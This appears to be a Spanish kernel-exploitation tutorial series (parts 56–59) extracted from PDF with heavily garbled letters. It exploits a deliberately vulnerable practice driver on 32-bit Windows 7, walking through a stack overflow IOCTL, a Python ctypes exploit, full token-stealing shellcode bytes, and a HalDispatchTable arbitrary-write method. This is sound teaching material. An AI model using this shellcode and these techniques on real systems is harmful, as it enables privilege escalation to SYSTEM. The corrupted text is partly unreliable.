+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x00000dec Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x82757e98 - 0x84bfadf8 ]

Despues de correr el driver y que pase por el dispatcher y la unción HideCaller.

PROCESS 844b0d00 SessionId: 1 Cid: 09ac Peb: 7ffd4000 ParentCid: 05f0


DirBase: 3ec33540 ObjectTable: 92850c90 HandleCount: 93.
Image: cmd.exe

PROCESS 85da2b48 SessionId: 1 Cid: 0ae8 Peb: 7ffdb000 ParentCid: 01a4


DirBase: 3ec33560 ObjectTable: 9e02eb90 HandleCount: 51.
Image: conhost.exe

PROCESS 84a76030 SessionId: 0 Cid: 0d88 Peb: 7ffdc000 ParentCid: 020c


DirBase: 3ec33580 ObjectTable: 9fe4a3d8 HandleCount: 230.
Image: taskhost.exe

PROCESS 84bfad40 SessionId: 1 Cid: 0e24 Peb: 7ffd7000 ParentCid: 05f0


DirBase: 3ec33460 ObjectTable: 9e37c198 HandleCount: 121.
Image: taskmgr.exe

La lista termina alli, no existe mas en la misma el proceso python.exe.

No es muy di cil, no hay que hacerse lío con la lista enlazada de ActveProcessLink, una vez que se
entende eso es ácil.

Hasta la próxima parte 56


Ricardo Narvaja
56-INTRODUCCION AL REVERSING CON IDA PRO -
KERNEL EXPLOITATION.
Vamos a ver ahora un driver que esta programa con diferentes vulnerabilidades para entender como
explotarlas, como siempre por ahora usaremos un Windows 7 sp1 sin ningún parche de seguridad,
sabemos que alli funcionara todo, luego iremos viendo que cambios hay mas adelante y que otras
posibilidades existen en los nuevos sistemas, pero vamos paso a paso.

Tenemos un driver compilado con los simbolos por ahora que tene la posibilidad de explotarlo de casi
todas las formas posibles, esta hecho para practcar.

h ps://github.com/hacssysteam/ acs ysExtremeVulnerable river

Vulnerabilities Implemented

 Double Fetch
 Pool Overfoo
 Use After Free
 Type Confusion
 Stack Overfoo
 Integer Overfoo
 Stack Overfoo GS
 Arbitrary Overorite
 Null Pointer Dereference
 Uninitialized Heap Variable
 Uninitialized Stack Variable
 Insecure Kernel Resource Access

Empezaremos poco a poco primero con el análisis del stacs overfow.

Por supuesto hay que copiar el driver a la maquina target y cargarlo con el O R RIVER LOA ER.

Lo copiamos con su idb a una carpeta local y lo abrimos en I A para ir analizando.

Bueno como ya sabemos acá tenemos simbolos, eso nos facilita mucho las cosas, pero igual lo
primero que debemos buscar y que casi siempre es reconocido con o sin simbolos es la estructura
_ RIVER_OBJECT que se pasa como argumento al riverEntry.

En este caso no hay demasiado problema


Acá esta bien a la vista el punto de entrada y sus argumentos están bien detectados.

Vemos que usa como en los ejemplo anteriores la api RtlInitUnicode tring para inicializar las
estructuras

Recordemos que el primer argumento era un puntero a la estructura UNICO E_ TRING, alli vemos
PUNICO E_ TRING o sea puntero a estructura UNICO E_ TRING.
O sea es un bu er donde guardara el largo en un word, el máximo largo en otro campo del tpo word
y copiara el puntero a la string unicode que le pasamos como source a contnuaciin en el tercer
campo.

Primero inicializa a cero la variable os eviceName que también es del tpo UNICO E_ TRING.

Pone a cero el campo Length moviendo AX que vale 0 alli, y luego TO copia el valor de EAX o sea
pone a cero la direccion donde apunta E I o sea en el campo MaximumLenght y luego otro TO W
copia AX o sea cero en los dos bytes siguientes o sea poniendo 6 bytes a cero inicializa los dos campos
restantes de la estructura que ocupan 6 bytes (1 WOR y un WOR )

El compilador solo inicializa la variable os eviceName la otra que se llama eviceName no la pone a
cero, la usa directamente.

O sea que eviceName es la string esa convertda a tpo estructura UNICO E_ TRING, o sea que en
los tres campos estará el largo, el máximo largo y el puntero que le pasamos a la string source se
copiara al tercer campo.

En mi maquina esta en 0x0016938, ese o set lo copiara al tercer campo de la estructura.

En os eviceName armara la otra UNICO E_ TRING usando como source la esa otra string.

espues viene la llamada a IoCreate evice, recordemos que había que crear un evice Object para
poder comunicarse desde los programas en modo user.
Esto estará casi siempre cerca del punto de entrada en la mayoría de los drivers que interactuan con
programas en modo user.

El ultmo argumento es el puntero a la nueva estructura creada EVICE_OBJECT.


Vemos que si el resultado de crear el evice es negatvo lo cual se chequea en ese salto condicional
signed, va a los bloques naranjas de error y se borra el evice Object con Io elete evice.

Luego va a inicializar a partr de E I + 38 como E I apunta a riverObject apretando T, puedo ver que
campo es (sino esta RIVER_OBJECT ir a LOCAL TYPE y sincronizarlo)
O sea es el puntero a la estructura MajorFuncton que recordamos es una tablita de punteros que
según la posiciin, me llevaran a diferentes funciones según el caso, recordemos que por ejemplo.

El primer puntero o sea el que esta en la posiciin 0 es IRP_MJ_CREATE y sera donde saltara cuando
utlice CreateFile para abrir el handle del evice, el segundo puntero o sea el valor 0x1 estará en la
posiciin 4 ya que son WOR s y asi sucesivamente, quiere decir que inversamente si yo tengo un
campo de esta estructura por su o set para saber que puntero es deberé dividir por cuatro, en el
ejemplo que usábamos en los drivers anteriores recordamos que

Eso corresponde a 0x38/4 o sea

Python>hex(0x38/4)
0xe
Que este 0xe era IRP_MJ_ EVICE_CONTROL cuando le pasábamos un IOCTL desde user, ese puntero
lo pisábamos con un ispatch para que según que IOCTL sea, se ejecute diferentes acciones mediante
un switch por ejemplo.

En el caso actual vemos que inicializa a partr de un puntero al inicio de la tablita MajorFuncton, copia
el valor de EAX al cual le mueve un o set de una funciin que se llama _Irp_NotImplemented andlers,
y eso lo copia 0x1c veces que pasa a ECX, que es la cantdad de punteros a inicializar.

O sea que al principio toda la tablita la inicializa con este puntero que aparentemente no haría nada
ya veremos, aparenta ser como un caso por default.

Como E X tenia el puntero al inicio de MajorFuncton su contenido es la posiciin 0 o sea

+#define IRP_MJ_CREATE 0x00


+#define IRP_MJ_CREATE_NAMED_PIPE 0x01
+#define IRP_MJ_CLOSE 0x02
+#define IRP_MJ_READ 0x03
+#define IRP_MJ_WRITE 0x04
+#define IRP_MJ_QUERY_INFORMATION 0x05
+#define IRP_MJ_SET_INFORMATION 0x06
+#define IRP_MJ_QUERY_EA 0x07
+#define IRP_MJ_SET_EA 0x08
+#define IRP_MJ_FLUSH_BUFFERS 0x09
+#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a
+#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b
+#define IRP_MJ_DIRECTORY_CONTROL 0x0c
+#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d
+#define IRP_MJ_DEVICE_CONTROL 0x0e
+#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f
+#define IRP_MJ_SCSI 0x0f
+#define IRP_MJ_SHUTDOWN 0x10
+#define IRP_MJ_LOCK_CONTROL 0x11
+#define IRP_MJ_CLEANUP 0x12
+#define IRP_MJ_CREATE_MAILSLOT 0x13
+#define IRP_MJ_QUERY_SECURITY 0x14
+#define IRP_MJ_SET_SECURITY 0x15
+#define IRP_MJ_POWER 0x16
+#define IRP_MJ_SYSTEM_CONTROL 0x17
+#define IRP_MJ_DEVICE_CHANGE 0x18
+#define IRP_MJ_QUERY_QUOTA 0x19
+#define IRP_MJ_SET_QUOTA 0x1a
+#define IRP_MJ_PNP 0x1b
+#define IRP_MJ_PNP_POWER 0x1b
+#define IRP_MJ_MAXIMUM_FUNCTION 0x1b
Crearemos una estructura MajorFunction

struct __MajorFunction{
unsigned int _MJ_CREATE;
unsigned int _MJ_CREATE_NAMED_PIPE;
unsigned int _MJ_CLOSE;
unsigned int _MJ_READ;
unsigned int _MJ_WRITE;
unsigned int _MJ_QUERY_INFORMATION;
unsigned int _MJ_SET_INFORMATION;
unsigned int _MJ_QUERY_EA;
unsigned int _MJ_SET_EA;
unsigned int _MJ_FLUSH_BUFFERS;
unsigned int _MJ_QUERY_VOLUME_INFORMATION;
unsigned int _MJ_SET_VOLUME_INFORMATION;
unsigned int _MJ_DIRECTORY_CONTROL;
unsigned int _MJ_FILE_SYSTEM_CONTROL;
unsigned int _MJ_DEVICE_CONTROL;
unsigned int _MJ_INTERNAL_DEVICE_CONTROL;
unsigned int _MJ_SCSI;
unsigned int _MJ_SHUTDOWN;
unsigned int _MJ_LOCK_CONTROL;
unsigned int _MJ_CLEANUP;
unsigned int _MJ_CREATE_MAILSLOT;
unsigned int _MJ_QUERY_SECURITY;
unsigned int _MJ_SET_SECURITY;
unsigned int _MJ_POWER;
unsigned int _MJ_SYSTEM_CONTROL;
unsigned int _MJ_DEVICE_CHANGE;
unsigned int _MJ_QUERY_QUOTA;
unsigned int _MJ_SET_QUOTA;
unsigned int _MJ_PNP;
unsigned int _MJ_PNP_POWER;
unsigned int _MJ_MAXIMUM_FUNCTION;
};

e que son punteros pero para nuestro uso unsigned int funcionara, el tema es que el local types,
usando IN ERT no me la toma, asi que ahí mismo exporte , le agregue la estructura y la volví a cargar
con FILE-LOA FILE-PAR E C EA ER FILE y asi la tomo.
La agregue en el .h

La cuestión que ahora si aparece


Me dejara editar dentro de la estructura DRIVER_OBJECT, el tipo de MajorFunction
en LocalTipes?

Vemos que le cambie la de niciin del campo MajorFuncton, dentro de la estructura RIVER_OBJECT
para que sea del tpo __MajorFuncton que de ní.
Vemos que ahora si quedan de nidos los campos con sus nombres de cada puntero.

Cuando hacemos T no se puede elegir la estructura river_Object porque E X apunta a


MajorFuncton asi que elijo esta ultma.
Ahora quedo mas lindo, esta bien determinado las funciones que usaran_MJ_CREATE, _MJ_CLO E,
_MJ_ EVICE_CONTROL y la que se llamara al detener el driver riverUnload.

Obviamente cuando desde user hagamos CreateFile llamara a la funciin que pisa el campo
_MJ_CREATE cuando pasemos un IOCTL a eviceIoControl, llamara a _MJ_ EVICE_CONTROL, cuando
se llame a Close andle, llamara a la que pisa _MJ_CLO E y cuando se detenga la que pisa
riverUnload.

Miremos un poco la funciin que se llamara cuando se le pasen los IOCTL.

incronizamos la estructura IRP desde LOCAL TYPE

Como vimos en la parte 53 el campo 60 de IRP apunta a una estructura _IO_ TACK_LOCATION que si
gura en I A aquí pasa lo mismo.
E I aquí apunta a _IO_ TACK_LOCATION, asi que todo lo que sea E I+xxx sera un campo de dicha
estructura, despues de sincronizarla desde LOCAL TYPE .

Recordemos que _IO_ TACK_LOCATION tene varias opciones elegiré la correspondiente a


IoControlCode.
Vemos que según el IOCTL el switch nos envía a diferentes bloques, y que los mismos están marcados
con el tpo de vulnerabilidad que tene cada camino.

Alli hay una que dice TACKOVERFLOW, asi que no hay que matarse mucho jeje.

Vemos que los dos argumentos que le pasa en E I la estructura IRP y en E I ahí dice IRP P que es el
nombre de la variable del tpo _IO_ TACK_LOCATION que estaba en E I.
Es un puntero a un bu er de entrada, también en la misma subestructura esta el IoControlCode y el
largo del Bu er de entrada y de salida, supuestamente estos valores se los pasare yo, veamos que
hace con ellos.

Vemos que ese size y ese bu er los pasa a la funciin _Trigger tacsOverfow.

Vemos que pone a cero con E I el primer WOR del bu er KernelBu er y luego con memset pone a
cero desde el siguiente WOR ya que le suma 4 a KernelBu er, el size 0x7fc.

icho bu er tene de largo 512 decimal por 4 ya que es un array de WOR (dd) asi que el largo total
en decimal es

512 * 4
Out[64]: 2048
En EXA es

hex(2048)
Out[65]: '0x800'

Por eso al poner el primer WOR a cero y luego los 0x7fc restantes, realmente pone todo el bu er
de 0x800 a cero. (0x7fc+4=0x800)

Luego llama a ProbeForRead que chequea si el bu er de entrada en user esta alineado y esta en el
espacio de user.

Luego imprime los punteros de los bu ers y sus sizes.

Aquí vemos claramente el stacs overfow, ya que usa el size que yo le paso como dato para copiar
desde el bu er de entrada en user, al bu er en sernel que es el destnaton.
Ahí vemos que al imprimir el size del bu er de sernel, usa el que esta en E I que es la constante
0x800, pero al hacer el memcpy, usa el argumento size que le paso yo, sin ningún tpo de chequeo lo
cual producirá un stacs overfow y como aquí no se ve coosie ni nada se podrá desbordar fácilmente.

En ala parte siguiente haremos el script con la explotaciin aqui terminamos el análisis.

asta la parte siguiente


Ricardo Narvaja
INTRODUCCION AL REVERSING CON IDA PRO
DESDE CERO PARTE 57- KERNEL

Bueno trataremos de explotar el stack overfoo desde un script de Python, normalmente la


explotación de kernel es local, o sea que uno ya exploto algún programa que no tene privilegios de
sistema y quiere escalar privilegios y ser SYSTEM lo cual nos quita las restricciones que tene una
explotación de un proceso que solo tene limitados privilegios de usuario normal de la maquina.

Asi que salvo muy raras excepciones los exploits de kernel son escalaciones de privilegios o priviledge
escalaton o como se diga jeje.

Por eso muchas veces vamos a ver el código de los mismos en un ejecutable compilado, o el código
fuente del mismo, porque se supone que podemos bajarnos un archivo y ejecutarlo con permiso de
usuario normal, ese ejecutable atacara en este caso nuestro driver y lo explotara consiguiendo la
escalacion.

De cualquier manera tanto el código en C como en Python, están basados en los llamados a las
mismas apis de Windoos, CreateFile, DeviceIoControl, etc, asi que lo que se hace en uno es
fácilmente portable al otro.

Recordemos nuestro modelo en Python del ejemplo anterior.

El primer paso sera cambiarle el nombre al driver para cuando haga CreateFile nos devuelva un
handle correcto al mismo.

Recordemos que el nombre se genera en


Alli devuelve el SymbolicName que viene de la string que esta en DeviceName.

Sin mucho problema seguramente si reemplazo el nombre del viejo driver por el del nuevo
funcionara, sin amargarme mucho probemos.

Podemos copiarlo a la maquina target y ver si me da error o un handle valido, sino seguiré mirando.

Esta el driver corriendo y arranco el script


Como el SymbolicLink sale de acá tene sentdo que se use ese nombre

Probemoslo.

Vemos que ese funciono

Me devolvió un valor positvo que es el handle al driver el resto no me interesa asi que lo cierro.
Por ahora le quitamos el ohile y todo el resto que no nos interesa y lo siguiente es ver cual era el
IOCTL que nos lleva al bloque del stack overfoo, para enviárselo.

La cuestón es llegar alli

Vemos que viene de acá

EDX tene el IOCTL que salia de aca


Lo resta con 0x222003 y si da cero va a la parte que necesitamos, probemos pongamos este IOCTL.

Veamos si llega al bloque que queremos atacheamos el IDA y pongamos un breakpoint.

Apenas lo ejecuto en la maquina target para en el breakpoint

Vemos que en EDX lee el IOCTL que le pase.


Lo mueve a EAX le resta 0x222003 y como da cero va al bloque vulnerable.

Lee el largo que es cero ya que no le pase argumentos aun salvo el IOCTL.
Como es cero saltea la función donde se triggerea el stack overfoo.

Como la api llamada desde oin32 le en Python tene menos argumentos que la original que tene
mas.
Acá esta la de nición de la de oin32 le de Python

Veremos si con esto nos alcanza necesitamos hacer un bu er para pasárselo a la entrada, asi que
como necesitamos un puntero al mismo, lo podemos hacer con AllocateReadBu er, que nos alocara
en el heap la cantdad que necesitamos para pasarle el bu er de entrada.(otra opción oin32 le no
nos da)

Como oin32 le no tene acceso a todas las apis no permite copiar directamente al bu er como
memcpy o cosas asi de esta forma podemos solo copiarlo con ReadFile, asi que hacemos un archivo
pepe.bin lleno de 0x1000 Aes, lo pasamos a CreateFile para que lo abra y nos devuelva el handle y eso
lo pasamos a ReadFile con el argumento buf del bu er que allocamos y copiara el contenido del
archivo alli.

Obviamente si lo hacemos en C, C++ o el lenguaje que sea podremos usar VirtualAlloc, y copiar
fácilmente con memcpy o lo que queramos, pero aquí tenemos ciertas limitaciones y nos tenemos
que adaptar.

Necesitamos saber ademas el largo justo de lo que debemos enviar, miremos el bu er de destno en
el IDA.
Marcamos desde el inicio del bu er hasta justo antes del return address y nos de 520 decimal por 4
del element size.

Asi que:

hex(520*4)

'0x820'

Asi que deberemos enviar 0x820 + ret

Ahora como sabemos en Python la direccion del bu er que creamos para pasarle, bueno un truco
medio sucio es usar repr.

Vemos que me devuelve la direccion donde puedo escribir, en una string asi que busco 0x y busco la
coma en dicha string y puedo stripear la direccion.
Alli esta la direccion la podemos pasar con struct.pack luego de los 0x820 Aes, lo molesto es que
debemos escribirlo en el archivo que leerá, uf.

Por lo tanto una vez que tengo la direccion del bu er

Escribo en el archivo la fruta que quiero enviar

Antes de Con ReadFile copiarla al bu er.

Veamos si sirve, en este caso no es necesario tener el archivo pues lo creara y lo llenara asi que
borramos el anterior.

Para eso cambiamos el argumento a CREATE ALWAYS lo cual si no esta lo creara.


Bueno supuestamente ahí esta nuestro bu er con las Aes, el IDA paro, veamos que paso.

Vemos que el bu er de entrada que se pasa a EDX nos muestra el mismo valor, veamos si están las
Aes.
Uf no me puso las Aes me repito el puntero salteemos la explotación y arreglemos el script.

Cambio el EIP alli con click derecho-SET IP y doy RUN.

Creo que el problema es que debe coincidir el size del bu er con el size del archivo, justto jeje.
Veamos asi, no va

Ah ya caí
Le faltaba setear al inicio del archivo el le pointer, sino leerá desde el nal donde lo dejo WriteFile,
por eso no leía las Aes, ahora si.

Traceo hasta el memcpy

Llego hasta el ret.


Sigo con F7.

Veo que llego al bu er el problema es que como no lo alloque con VirtualAlloc y lo alloque con la api
esa de oin32 le AllocateReadBu er no le da permiso de ejecución, asi que tendré que buscar la
forma de allocar código ejecutable de alguna otra forma.
Le agregue el import ctypes y este tene VirtualProtect asi que le di permiso de ejecución y ahora no
hay problema.

Salta y ejecuta sin problema, realmente veo que ctypes esta mas avanzado que oin32api, por lo cual
podría hacerse todo llamando directamente a VirtualAlloc de ctypes sin tanta vuelta.

La versión con ctypes es


Usa directamente CreateFile, VirtualAlloc, RtlMoveNemory y DeviceIoControl, solo hay que tener
cuidado con alguno de los tpos, pero funciona bien.

Alli esta ejecutando, la cuestón ahora es que ejecutamos código, nos quedaría hacer el shellcode
porque asi tendremos solo una bonita pantalla azul.

El shellcode lo analizaremos y armaremos en la parte siguiente.


Hasta la parte 48
Ricardo Narvaja
58-INTRODUCCION AL REVERSING CON IDA PRO
DESDE CERO PARTE 58
Bueno nos quedaba agregarle el shellcode el mismo es un tíico shellcode que roba el Token de un
íroceso system y lo coíia al nuestro, es muy cor to íero ale la íena analizarlo bien.

shellcode="\x53\x56\x57\x60\x33\xC0\x64\x8B\x80\x24\x01\x
00\x00\x8B\x40\x50\x8B\xC8\xBA\x04\x00\x00\x00\x8B\x80\xB
8\x00\x00\x00\x2D\xB8\x00\x00\x00\x39\x90\xB4\x00\x00\x00
\x75\xED\x8B\x90\xF8\x00\x00\x00\x89\x91\xF8\x00\x00\x00\
x61\x33\xC0\x83\xC4\x0C\x5D\xC2\x08\x00"

El shellcode es bastante general lo que hay que tener en cuenta es que al terminar uel a como
corresíonde a la ru na desde donde fue llamado, íara eso hay que mirar bien si el retn del fnal debe
ser retn 4 o mas íara ol er donde ol ería si no hubiéramos íisado el ret al hacer el o er oo y el
írograma con nne corriendo sino se íroducirá una íantalla azul y chau, jeje.

Alli emos como lo acomode, en el inicio de la data que en ío le coloco el shellcode y luego le resto a
0x820 el largo del mismo shellcode íara que no cambie la íosición del alor con que íiso el return
address a con nuación y se mantenga correcto.

Si lo corro antes de exílicarlo emos que le íuse un rao_iníut al fnal íara íoder íararlo antes de
que se cierre y er si ele o a íri ilegios system, también se íuede ejecutar otro íroceso y er si este
al igual que nuestro íroceso ene íri ilegios system, lo cual solo íuede íasar si un íroceso system
arranca otro.
Alli lo lance y eo que quedo íarado en el rao_iníut eamos en el PROCESS EXPLORER agregándole la
columna que muestre el usuario, que nos dice.

Funciono con er mos un íroceso con íri ilegios de user normal a SYSTEM, eamos como lo hizo,
atacheemos el IDA y íaremos en el RET antes de ejecutar el shellcode.
Alli se detu o en el RET, traceemos con f7 una ez.

Ahí esta el shellcode es muy chiquito y emos que termina en RET 8, este alor hay que ajustarlo bien,
íorque debajo del return address que íisamos en el stack íara ejecutar nuestro shellcode, esta el
return address de la función íadre de esa, y ese es el que realmente debemos alcanzar con este RET
íara ol er al írograma tal cual la función íadre lo haría.

Con la P íodemos hacer CREATE FUNCION y íasarlo a forma gráfca con la barra esíaciadora.
Desíues del PUSHA que guarda los registros en el stack, emos que dado que EAX ale 0 íor el XOR,
termina leyendo el alor de FS:[124]

Bueno cada íroceso ene un TEB o TIB

h ís://es.oikiíedia.org/oiki/ in22_Thread_Informa on_Block

En computación, el Win32 Thread Information Block (TIB) es una estructura de datos en los
sistemas Win32, específcamente en la arquitectura x86, que almacena información acerca
del hilo que se está ejecutando. También es conocido como el Thread Environment Block (TEB).

Bueno esta estructura ene camíos que se acceden a tra és de la instrucción FS :[x], alli en la tabla
emos íor ejemílo FS:[124]

También es muy usado el íuntero a la PEB que es el PROCESS ENVIRONMENT BLOCK que esta en fs:
[20]

En oindbg se íuede er esta estructura.


Aunque el o set 0x124 no nos lo muestra aun dándole mas írofundidad, bueno la cues ón es que
como imos es la estructura ETHREAD.

Como en la íosición 0 esta la estructura KTHREAD o KERNEL THREAD, quiere decir que el camío 50
que busca a con nuación dentro de ETHREAD, estará dentro de KTHREAD íues esta ul ma ene de
largo 0x200.
Vemos que el camío 0x50 no nos lo muestra jeje, esta dentro de la estructura _KAPC_STATE que esta
en el o set 0x40.

Veamos la misma, en 0x10 esta _KPROCESS .

Si lo leemos y íasa a EAX emos que es el famoso numerito EPROCESS o KPROCESS es lo mismo? No
íero casi jeje

Vemos que KPROCESS esta en el camío 0 de EPROCESS asi que bueno la direccion coincide, si a íar r
de ese alor, le suma o set menores a 0x98 que es el largo de KPROCESS estará dentro de este, si es
mayor a 0x98 ya estará en el resto de la estructura EPROCESS.
Vemos que lee el camío 0xB8 íor lo tanto estamos ya fuera de KPROCESS y dentro de EPROCESS.

Lee el famoso Ac eProcessLinks.

Como en el ejercicio anterior había armado una estructura EPROCESS que no estaba comíleta íero
me sir e

La marcare en LOCAL TYPES y la exíorto a C HEADER FILE

EN FILE-LOAD FILE-PARSE C HEADER FILE la busco y la agrego.


Ahora aíarece la sincronizo

Aíreto T y la busco y es el FLINK o sea que aíunta al Ac eProcessLink del íroceso siguiente, como
eso esta en 0xb8 le resta esa constante íara hallar el EPROCESS del íroceso siguiente.
En EAX debería quedar el EPROCESS del siguiente íroceso.

Como no hay mas suíongo que debe aíuntar a un inicio íara emíezar a recorrer de nue o, eamos.

Vemos que comíara el alor del camío 0xb4 de ese EPROCESS con 4, eamos que es 0xb4 asi lo
agregamos a nuestra estructura.

O sea se fja si el PID es 4 que es el que corresíonde al íroceso SYSTEM.


Lo agregare en mi estructura, no le la deja editar íorque la imíorte asi que la agrego en el .h que
había exíortado.

Vuel o a imíortarla sin quitar la anterior y agrega el camío faltante.

Ahí quedo.

Vemos que el alor no es 4, asi que seguimos traceando, seguro emíezara de nue o íor el írimer
íroceso eamos.

Ahí esta uel e a comenzar desde el inicio en este caso el PID o CID es 4 y corresíonde al íroceso
SYSTEM.
Ahora si encontró el EPROCESS del íroceso SYSTEM, íor lo tanto saldrá del looí que recorre todos los
írocesos.

Vemos que lee el camío 0xf8 del EPROCESS del íroceso system eamos que hay alli.

Bueno eso coíiando el Token de system en nuestro EPROCESS tendremos íri ilegios SYSTEM, y eso
hace ahí, lee el Token de SYSTEM.
Y como ECX tenia nuestro EPROCESS le suma también 0xf8 íara guardar el Token de SYSTEM en
nuestro íroceso.

Puedo agregarlo al .h y imíortarlo de nue o, no es necesario quitar el anterior lo íisara.

Recuerden que son Tokens de diferentes írocesos EAX aíunta al EPROCESS de SYSTEM y ECX a
nuestro EPROCESS de Python.exe.

Con esto ya esta listo eamos si con el ret ol emos bien a que siga corriendo el dri er y no haya
íroblema.
Vol ió íerfecto al mismo íunto donde ol ería si en ez de ejecutar nuestro shellcode, hubiera uelto
al íadre de la función ulnerable y este debería ol er a su íroíio íadre aquí, con el stack en la
misma íosición, hay que asegurarse bien eso sino habrá íantalla azul.

Doy RUN y quedara en el rao_iníut esíerando.

Si tenia abierto el PROCESS EXPLORER lo cierro íara que al abrirlo se refresque


Y listo tenemos íermiso de sistema.

Puedo hacer que ejecute una calculadora SYSTEM


Listo ya cumílimos con el obje o.
Hasta la íróxima íarte
Ricardo Nar aja
59-INTRODUCCION AL REVERSING CON IDA PRO
DESDE CERO PARTE 59
Vamos a mirar el Arbitrary Overwrite(escribir lo que queremos donde queremos) del mismo driver
vulnerable anterior. Desde ya aclaro que este es un método antiuo y que solo sirve para Windows XP
y 7, y en este caso solo tariets w32, EN MAQUINAS de W7 de 64 BITS NO FUNCIONA, al menos sin
adaptarlo un poco, hay que revisar bien aliunos valores que no son iiuales.
Nuestro tariet es Windows 7 de 32 bits.

Iiual nos servirá para ir tomando un poco de confanna con ctypes que es un poco complicado y ir
avannando de a poco.

En el dispatcher que maneja los distntos IOCTL vemos que hay uno que marca ARBITRARY
OVERWRITE, asi que lo marcamos, veamos primero que valor de IOCTL nos trae aquí.

Vemos que viene restando a EAX la constante 4 dos veces y antes le resta 0x222003
Python>hex(0x222003+8)
0x22200b

Asi que con ese IOCTL lleia al bloque que necesitamos de la vulnerabilidad ya que :

0x22200b - 0x222003-4-4=0

y si es cero va al bloque alli.

Bueno ya lleiamos miremos la vulnerabilidad.

Recordemos que en IRP mas 0x60 esta el puntero a la estructura _IO_STACK_LOCATION, era 0x40 de
Tail en la estructura IRP, y dentro de Tail en el ofset 0x20 apunta a CurentStackLocaton
Asi que 0x60 es el ofset de CurentStackLocaton que es del tpo _IO_STACK_LOCATION.

Apretando T veo el campo y que de alli lee el IOCTLCode.

La pasa a los dos ariumentos el puntero a IRP en EDI como primero y el puntero a la estructura
_IO_STACK_LOCATION.

Aquí a ECX mueve el puntero a la _IO_STACK_LOCATION.


dt -r4 _IO_STACK_LOCATION

nt!_IO_STACK_LOCATION
+0x000 MajorFuncton : UChar
+0x001 MinorFuncton : UChar
+0x002 Flais : UChar
+0x003 Control : UChar
+0x004 Parameters : <unnamed-tai>

Ya vimos que los Parameters variaban seiún el caso, para cuando se llama a DeviceIoControl, es

+0x000 DeviceIoControl : <unnamed-tai>


+0x000 OutputBuferLenith : Uint4B
+0x004 InputBuferLenith : Uint4B
+0x008 IoControlCode : Uint4B
+0x00c Type3InputBufer : Ptr32 Void

En el ofset 0x10 desde el inicio (recordemos que hay que sumarles los 0x4 de Parameters) para el
caso DeviceIoControl esta el campo Type3InputBufer.

Alli lleian cuatro de los ariumentos que se le pasan a la api DeviceIoControl.

+0x000 DeviceIoControl
+0x000 OutputBuferLenith es nOutBuferSine
+0x004 InputBuferLenith es nInBuferSine
+0x008 IoControlCode es dwIoControlCode
+0x00c Type3InputBufer es lpInBufer
Asi que ese es nuestro bufer de entrada que le pasamos a la api DeviceIoControl.

Vemos que a ESI se mueve la direccion de nuestro bufer que aquí lo llama UserWriteWhatWhere e
imprime la direccion del mismo.

Lueio vemos que lee el contenido de ESI y de ESI mas 4 e imprime sus direcciones lo cual nos hace
pensar que es una estructura de dos punteros, alli nos dice que su sine es 8.

Asi que crearemos una estructura de 8 bytes, se ve que los dos campos son What y Where y que
ambos son punteros asi que en 32 bits serán de 4 bytes cada uno.
Asi que alli imprime los valores de What y Where

Alli vemos la parte vulnerable

EDI es What, asi que debe ser un puntero, ya que busca el contenido de [EDI] y lo escribe en el
contenido de Where en [EBX].

Asi que What debe ser un puntero a un puntero a nuestro códiio, y en Where habrá que buscar una
tabla donde escribir (posiblemente un CALL indirecto para que escribamos el puntero a nuestro
códiio y termine saltando a ejecutar el mismo.

Hay muchas posibilidades para explotar esto aliunas mas modernas, nosotros usaremos el viejo
método de la tabla HAL. (no unciona en sistemas con la protección de Intel SMEP por eso en
Windows XP y 7 aun va)
Intel CPU feature: Supervisor Mode Execution Protection (SMEP). This feature is
enabled by toggling a bit in the cr4 register, and the result is the CPU will generate a
fault whenever ring0 attempts to execute code from a page marked with the user bit.

O sea que si desde kernel saltas a ejecutar una paiina marcada como perteneciente a USER da una
excepción, evitando ejecutar como en el método que vamos a ver ahora.

Iiual pudiendo escribir en KERNEL donde quieres, podes lleiar a deshabilitar con suerte, habilidad y
alio mas, estas protecciones, por ahora nos concentraremos en la vieja orma de explotar que sirve
para WIN XP y 7 de 32 bits y también puede servir en procesadores que no tenian SMEP en otros
sistemas.

h p: poppopret.bloispot.com.ar 2011 07 windows-kernel-exploitaton-basics-part.html

Ese método se basa en la tabla HAL Dispatch

Bueno existe una unción importada por la ntdll llamada NtQueryIntervalProfle, si abro en otro IDA la
ntdll.dll de 32 bits veo en las unciones EXPORTADAS que esta alli.

Esa unción que se puede llamar desde user lleia a kernel

A la unción nt!KeQueryIntervalProfle

nt!KeQueryIntervalProfle:
82911891 8bf mov edi,edi
82911893 55 push ebp
82911894 8bec mov ebp,esp
82911896 83ec10 sub esp,10h
82911899 83 801 cmp eax,1
8291189c 7507 jne nt!KeQueryIntervalProfle+0x14 (829118a5)
8291189e a188ca7a82 mov eax,dword ptr [nt!KiProfleAliinmentFixupInterval (827aca88)]
829118a3 c9 leave

Lueio siiue aquí

829118a4 c3 ret
829118a5 8945 0 mov dword ptr [ebp-10h],eax
829118a8 8d45 c lea eax,[ebp-4]
829118ab 50 push eax
829118ac 8d45 0 lea eax,[ebp-10h]
829118a 50 push eax
829118b0 6a0c push 0Ch
829118b2 6a01 push 1
kd> u
nt!KeQueryIntervalProfle+0x23:
829118b4 f15bc237782 call dword ptr [nt!HalDispatchTable+0x4 (827723bc)]
829118ba 85c0 test eax,eax
829118bc 7c0b jl nt!KeQueryIntervalProfle+0x38 (829118c9)
829118be 807d 400 cmp byte ptr [ebp-0Ch],0
829118c2 7405 je nt!KeQueryIntervalProfle+0x38 (829118c9)
829118c4 8b45 8 mov eax,dword ptr [ebp-8]
829118c7 c9 leave
829118c8 c3 ret

Y salta a una direccion de KERNEL que esta en la tabla HAL Dispatch mas 4.

El método es ese, ya que desde user no podemos escribir dicha tabla, la vulnerabilidad en kernel nos
permite escribir donde queramos asi que la direccion a escribir sera el contenido de nt!
HalDispatchTable+0x4 y lo debemos hacer pisándolo con el puntero a un bufer con nuestro códiio.

Lo bueno es que despues podemos triiierear cuando queremos, ya que la api se puede llamar desde
user, asi que con llamarla normalmente desde nuestro script al fnal lleiara aquí

829118b4 f15bc237782 call dword ptr [nt!HalDispatchTable+0x4 (827723bc)]

Y saltara a códiio al no haber SMEP ya que no se verifca que la paiina donde salta no es de kernel
sino esta marcada como paiina user.

